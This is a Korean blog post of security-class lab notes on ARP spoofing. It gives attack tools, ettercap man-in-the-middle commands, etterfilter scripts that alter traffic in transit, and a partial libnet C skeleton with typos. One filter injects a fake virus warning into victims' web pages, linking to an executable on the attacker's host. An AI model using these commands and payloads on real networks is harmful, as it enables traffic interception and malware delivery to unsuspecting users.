kkamagi's story

IT, 정보보안, 포렌식, 일상 공유

Cyber Security

Arp Spoofing

까마기 2014. 11. 2. 23:02
728x90
반응형

 * 공격자 VM-XP & 희생자 VM-XP 부팅


 * arp spoofing

  - arp cache poisoning

  - arp poison routing(APR)


   발생원인: arp 프로토콜에 인증 매커니즘이 없어서

                arp를 받은 시스템들은 자신의 arp cache엔트리에 자동등록하는

                원인,등록하는IP와 MAC에대한 신뢰성 검증 못함.


   영향: 도청(Active Sniffering)

           패킷 조작(Filtering) - Downgrading, html injection

           삽입(Injection) - Command Injection

           DoS/DDoS


   성공률 : 로컬 100% 가까움.

            - 무선, 스마트폰에도 적용됨.


  

   공격 툴: BT5 - arpspoof, ettercap

              윈도우 - Cain & Abel



 *  Cain&Abel

  => cain & abel

     cain - 패킷수집 , abel = 원격지 정보 도구(agent)

  - 현존 하는 윈도우 툴중 최고의 툴

  - Sniffer

  - Spoofing - arp ,dns

  - password cracking : NTLM, 라우터장비, VPN,VNC등

  - VoIP sniffer  : 인터넷 전화 도청

  - Pcoket PC용

  - Wireless Auto Attack : 무선랜 카드 airpcap

  

   http://www.oxid.it


  => Winpcap 설치



      공격자                                    희생자

   http://www.oxid.it

  cain & abel 다운로드

  

                                              http://wwww.drboook.co.kr

                                               aaaa/aaaa

                                             http://www.sbs.co.kr

                                              test/test


                                          도스창: telnet  172.16.11.250

                                                    hacker/hackerpwd


                                                   ftp 172.16.11.250

                                                   user:hacker

                                                  pwd:hackerpwd



                                          arp spoofing 공격 탐지

                                        - 1)arp  type static



                                          2) irongeek.com

                                          - 동영상

                                          

                                           http://www.securitytube.net



    * 패킷 조작


    공격자(희생자1)                    BT5                     희생자2


    nc.exe                                                          nc.exe


   1)통신

    nc.exe -lvp  9000                                           nc.exe 공격자_IP  9000


    hi                                                                 hello~


                                       etterfilter 프로그램

                                       - 네트워크 패킷에 대한 필터를

                                         생성하여 ettercap에 적용 가능함.


                                     #nano test.ecf

                                      if ( search(DATA.data, "love")) {

                                         replace("love","hate");

                                       }



                                   #etterfilter -o test.ef    test.ecf



                                   #ettercap -i eth3 -T -M arp -F test.ef //   //

                                      -T:text

                                      -M:MITM Mode

                                      -F:filter

                                      // : 타켓1 - mac/ip/port -   // : 모든 대상

                                       // :타켓2 - mac/ip/port -  //  :모든 대상




                              ** 웹 패킷 변조

                                  #nano iframe.ecf

                                   if ( ip.proto == TCP && tcp.dst ==80){

                                         if ( search(DATA.data, "Accept-Encoding")) {

                                          replace("Accept-Encoding","Accept-Nothing!");

                                        }

                                      }


                                   if ( ip.proto == TCP && tcp.src == 80) {

                                         if ( search(DATA.data,"<title>")){

                                           replace("<title>","</title></head>

                                <body><center><font color='red'><h1>Warning!!</h1></font>

                                 Virus was Detected in the system</br>

                                 Please use the Internet after virus treatment</br>

                                 Below to download the security patch</br>

                                 <a href='http://172.16.11.250/PSexec.exe'>

                                 <font color='blue'>Security Update Download</font>

                                 </a></center></body></html>");


                                }

                               }   


                    컴파일

                     ettercap                             희생자 - 웹 접속




 * 사전공격 코드

 - 암호화된 파일,폴더등 존재하면 암호화된 알고리즘을 알아야 정확한

    사전 공격이 가능함.




 * arp spoofing 코드


  - libpcap 라이브러리  설치 : 패킷 수집도구 : bt5

  - libnet 라이브러리   설치 : 패킷 전송도구  : apt-get install libnet1-dev



  http://172.16.11.254/download

    structures.h - 다운로드



  1) 초기화

   if( l=  libnet_init(LIBNET_LINK, device, errbuf)) =NULL)

   {

      fprintf();

      exit(1);

  }


  2) MAC, IP 얻어오기

    mac = libnet_get_hardware();

     ip   = libnet_get_ipaddr4();

  


  3) 타켓의  MAC

    ip_target_one =  linbet_name2addr4(l, argv[1],LIBNET_RESOLVE);

    ip_target_two =  linbet_name2addr4(l, argv[2],LIBNET_RESOLVE);



   4) ARP REQUEST packets

     arp = linbet_atutobuild_arp ( 

                                            ARPOP_REQUEST,

                                            (u_int8_t *)mac,        /* device mac*/   

                                            (u_int8_t *)&ip,         /* device ip */

                                            (u_int8_t *) broadcast_ether, /* 브로드캐스트*/

                                            (u_int8_t *) *ip_tmp  /* target ip*/   

                                            l   /*libnet context*/)                                      

      );



    eth = libnet_build_ethernet(

                                     (u_int8_t *) broadcast_ether,

                                     (u_int8_t *) mac,

                                     ETHERTYPE_ARP, /* 0806 */

                                     NULL, /* payload */

                                     0,      /* payload */

                                      l,     /* libnet context */

                                    0       /* No libnet protocol tag */

         );

   

  libnet_write(l);

  


  

  5) ARP REPLY

   device = l->device;

   

   handle = pcap_open_live(device,1500,0,2000,errbuf);


  pcap_datalink(handle) != DLT_EN10MB) {

              fprintf();

              exit(1);

   }



   char *filter = "arp";

    pcap_compile (handle, &fp , filter, 0, PCAP_NETMASK_UNKNOWN);


   pcap_setfilter(handle, &fp);




  6) arp cache table update


  

  spoof(ip_target_one, ip_target_two, mac_target_one, mac)

  spoof(ip_target_two, ip_target_one, mac_target_two, mac)



   A                B

         H




반응형

'Cyber Security' 카테고리의 다른 글

[정보보안] ARP spoofing 실습  (0) 2015.01.21
DoS 공격 / iptables synflooding  (0) 2014.11.09
admin$ 공유를 이용한 계정 탈취  (0) 2014.11.02
IP Spoofing  (0) 2014.10.21
Side Jacking  (0) 2014.10.21